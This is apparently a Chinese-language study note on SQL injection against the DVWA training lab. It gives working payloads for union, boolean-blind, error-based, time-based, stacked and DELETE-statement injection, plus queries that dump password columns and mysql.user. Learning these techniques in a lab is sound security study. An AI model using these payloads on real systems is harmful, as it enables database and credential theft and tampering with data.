靶场环境:dvwa , 安全等级 low
判断存在SQL注入
提交'
报错
id=1
和 id =1 and 1=1
返回的结果一样,id=1
和 id =1 and 1=2
返回的结果不一样
构造正确的SQL语句
-- 数字型 id=1 or 1=1
select * from where id=1 or 1=1
--字符型 ' id=' or 2<>'1
select * from where id='' or 2<>'1'
--截断型 id=1 or 1=1 --
select * from where id= 1 or 1=1 --limit 1
注入方式
union 查询
页面使用了select 查询,且返回数据
- 先推出当前select 的字段数量
-- 两个select 查询的字段数量需一致。使用order by 判断数量,order by 数字,指定用第n列排序
-- 例如 order by 10 出错,order by 5出错 order 2 返回正确数据
select id,name from user where id=1 union select null, database()
- 漏洞利用
-- 查数据库
select id,name from user where id=1 union select null, database()
-- 查表
select id,name from user where id=1 union select 1,table_name from information_schema.TABLES where TABLE_SCHEMA = database()
-- 查字段
select id,name from user where id=1 union select 1,column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'users'
-- 查值
select id,name from user where id=1 union select 1, password from 'users' where first_name='admin'
示例,打开 dvwa-sql Injection
- 推断当前select 字段数量
输入 1' order by 2 #
提交没报错,证明当前select 字段数量是2
- union 查询
查数据库
1' union select null, database() #
查表
1' union select 1,table_name from information_schema.TABLES where TABLE_SCHEMA = database() #
查字段
1' union select 1,column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'users' #
查值
1' union select 1, password from users where first_name='admin' #
布尔注入
有数据返回yes, 无数据返回no。只能根据构造带条件的sql判断。手工判断需要耗费大量时间,跑脚本吧。查询的参数需要正常有数据的才会触发and后面的 。靶场:dvwa > SQL Injection (Blind)
查库
- 先判断数据库长度,用二分法试探
1' and length(database()) >= 4 #
- 判断数据库字母组成。根据数据库命名规则,穷举判断,得出数据库名字。
1' and substr(database(),1,1) = 'd' #
查表
- 判断表名长度
1' and length((select table_name from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1)) >= 9 #
- 查表名
1 and substr((select table_name from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1)='g' #
查列
- 查列名长度
1' and length((select column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME ='users' limit 0,1)) >= 7 #
- 查列名字符
1' and substr((select column_name from information_schema.columns where TABLE_SCHEMA = database() and TABLE_NAME ='users' limit 0,1),1,1) = 'u' #
报错注入
利用报错信息显示查询的数据。靶场 dvwa>sql Injection
- 查数据库
' and updatexml(1,concat(0x7e, (select database()),0x7e), 1) #
- 查表
' and updatexml(1,concat(0x7e, (select table_name from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),0x7e), 1) #
- 查列
' and updatexml(1,concat(0x7e, (select column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'users' limit 0,1),0x7e), 1) #
- 查值
'and updatexml(1,concat(0x7e, (select user_id from users limit 0,1),0x7e), 1)#
时间注入
利用响应时间判断条件成立, 步骤和布尔注入类似
- 查库。如果数据库名字大于2,页面会2秒后才响应
1' and if (length(database())>=2,sleep(2),1) #
堆叠注入
如果可以运行多条语句,那么就可以使用;拼接多条语句
1'; update user set money=102 where id=1 #
## 漏洞利用
-- --
### 枚举数据库信息
```sql
-- MySQL 5.0 +
select SCHEMA_NAME from information_schema.SCHEMATA -- 所有数据库名称
select table_name from information_schema.TABLES where TABLE_SCHEMA = database() -- 当前数据库所有的表
-- 当前数据库下的test表的所有列
select column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'user'
-- MySQL 常用函数
database() -- 当前数据库
user() -- 当前查询用户
version() -- 数据库版本
-- 示例
-- 查当前数据库名字,置顶取第一条
select id,name from user where id = 1 union select 0,database() order by 1 limit 1
delete 注入
查数据库,步骤和报错注入类似
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
窃取口令
select * from mysql.user